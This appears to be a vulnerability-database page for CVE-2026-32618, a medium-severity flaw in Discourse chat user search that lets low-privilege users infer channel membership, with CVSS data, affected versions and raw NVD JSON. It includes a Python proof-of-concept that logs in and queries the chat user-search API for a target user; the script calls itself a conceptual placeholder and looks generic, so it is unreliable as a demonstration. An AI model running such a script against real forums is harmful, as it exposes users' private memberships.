Security Vulnerability Report
中文
CVE-2026-32618 CVSS 4.3 MEDIUM

CVE-2026-32618

Published: 2026-03-31 18:16:50
Last Modified: 2026-04-09 18:30:55

Description

Discourse is an open-source discussion platform. From versions 2026.1.0-latest to before 2026.1.3, 2026.2.0-latest to before 2026.2.2, and 2026.3.0-latest to before 2026.3.0, there is possible channel membership inference from chat user search without authorization. This issue has been patched in versions 2026.1.3, 2026.2.2, and 2026.3.0.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:discourse:discourse:*:*:*:*:latest:*:*:* - VULNERABLE
cpe:2.3:a:discourse:discourse:*:*:*:*:latest:*:*:* - VULNERABLE
cpe:2.3:a:discourse:discourse:2026.3.0:*:*:*:latest:*:*:* - VULNERABLE
cpe:2.3:a:discourse:discourse:2026.3.0:*:*:*:latest.1:*:*:* - VULNERABLE
Discourse 2026.1.0-latest 至 2026.1.3 之前
Discourse 2026.2.0-latest 至 2026.2.2 之前
Discourse 2026.3.0-latest 至 2026.3.0 之前

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target URL (Example) TARGET_URL = "https://discourse.example.com" SEARCH_API = "/chat/api/users" # Attacker credentials (low privilege) USERNAME = "attacker" PASSWORD = "password" TARGET_USER = "victim_user" def login(): """Simulate login to get session cookie""" session = requests.Session() # Implementation of login request depends on specific Discourse configuration # This is a conceptual placeholder login_data = {"login": USERNAME, "password": PASSWORD} session.post(f"{TARGET_URL}/session", data=login_data) return session def check_membership_inference(session): """Check if we can infer user presence via search""" headers = { "Accept": "application/json", # Add necessary auth headers or cookies } # Search for the target user in the chat context params = { "term": TARGET_USER, "include_channels": "true" } try: response = session.get(f"{TARGET_URL}{SEARCH_API}", headers=headers, params=params) if response.status_code == 200: data = response.json() # Analyze response to see if the user is returned users = data.get("users", []) for user in users: if user.get("username") == TARGET_USER: print(f"[+] Potential membership inferred for user: {TARGET_USER}") print(f"[+] User Data: {user}") return True print(f"[-] User {TARGET_USER} not found or access restricted.") else: print(f"Error: API returned status code {response.status_code}") except Exception as e: print(f"Exception occurred: {e}") if __name__ == "__main__": s = login() check_membership_inference(s)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-32618", "sourceIdentifier": "[email protected]", "published": "2026-03-31T18:16:50.370", "lastModified": "2026-04-09T18:30:55.347", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Discourse is an open-source discussion platform. From versions 2026.1.0-latest to before 2026.1.3, 2026.2.0-latest to before 2026.2.2, and 2026.3.0-latest to before 2026.3.0, there is possible channel membership inference from chat user search without authorization. This issue has been patched in versions 2026.1.3, 2026.2.2, and 2026.3.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-200"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:discourse:discourse:*:*:*:*:latest:*:*:*", "versionStartIncluding": "2026.1.0", "versionEndExcluding": "2026.1.3", "matchCriteriaId": "F64DA8FA-BC32-4EB9-B508-6425684D3245"}, {"vulnerable": true, "criteria": "cpe:2.3:a:discourse:discourse:*:*:*:*:latest:*:*:*", "versionStartIncluding": "2026.2.0", "versionEndExcluding": "2026.2.2", "matchCriteriaId": "26546710-17B3-4C72-930F-3BE0AD969127"}, {"vulnerable": true, "criteria": "cpe:2.3:a:discourse:discourse:2026.3.0:*:*:*:latest:*:*:*", "matchCriteriaId": "E3FE9277-4F6B-4FD0-991F-F0FB8D226E1C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:discourse:discourse:2026.3.0:*:*:*:latest.1:*:*:*", "matchCriteriaId": "DFA536C2-E9D9-4A03-89C2-C344DE682EA1"}]}]}], "references": [{"url": "https://github.com/discourse/discourse/commit/81fd89e744058e509412158e5e6ac90c856ade64", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/discourse/discourse/security/advisories/GHSA-pc8p-w2m7-hgf3", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}